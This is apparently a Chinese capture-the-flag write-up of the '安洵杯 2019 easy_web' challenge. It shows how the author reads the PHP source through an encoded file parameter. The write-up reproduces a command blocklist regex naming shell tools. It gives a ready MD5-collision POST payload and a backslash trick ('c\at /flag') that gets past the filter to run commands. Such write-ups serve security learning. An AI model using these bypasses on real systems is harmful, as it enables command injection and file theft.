[安洵杯 2019]easy_web

[安洵杯 2019]easy_web
题目:
打开环境,得到;
[安洵杯 2019]easy_web_第1张图片
在url栏里发现了这一串代码:

?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

前面的img很明显是加了密的,所以尝试去解密,先试试base64解密,得到:
[安洵杯 2019]easy_web_第2张图片
继续base64解密:
[安洵杯 2019]easy_web_第3张图片
猜测其为base16加密,解密得到:
[安洵杯 2019]easy_web_第4张图片
555.png应该就是上面的这张图片了:
[安洵杯 2019]easy_web_第5张图片
emmmmmm…
好像没什么很大的用,不过倒是可以去把index.php按照这几种加密方式顺序去加密:
先base16,再来两次base64,得到:

TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

访问过后,在源码里得到:
[安洵杯 2019]easy_web_第6张图片
直接base64解密就行:


error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
     
    echo '';
    die("xixi~ no flag");
} else {
     
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"
; } echo $cmd; echo "
"
; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"
; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>

接下来就是进行代码审计了,重点是这几段代码:

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
     
    echo("forbid ~");
    echo "
"
; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } }

现在的想法就是用md5的强碰撞,然后去执行echo `$cmd`;
构造payload:

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

[安洵杯 2019]easy_web_第7张图片
不过不知道为什么,在直接用post传参的时候,始终会出现报错(MD5 is funny),但用bp不会:
[安洵杯 2019]easy_web_第8张图片
很明显的看到,没有出现报错回显,所以是绕过了的
现在难点就是去绕过正则的匹配了
看下过滤的限制:

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))

绝大部分能查看的命令都被过滤了,不过dir没有被过滤,所以先来用dir看下目录:
[安洵杯 2019]easy_web_第9张图片
里面出现了flag的字样,不过该怎么去读取flag呢?

|\*|\?|\\|\\\\|\n|\t|\r|

这里说下关于正则匹配里的反斜杠知识:

在PHP中,要通过正则表达式过滤掉\,必须要通过四个反斜杠才行\\\\,这是因为正则匹配要经过两层解析,一层是php,一层是正则表达式,在此处的话\\|,相当于是\|,之后又与后面的|进行了转义,所以实现的相当于就是对|的过滤,而没有过滤掉\
故此处并没有过滤掉\

那这就好办了,直接用命令c\at /flag就行
[安洵杯 2019]easy_web_第10张图片

你可能感兴趣的:(#,buuoj,php,web)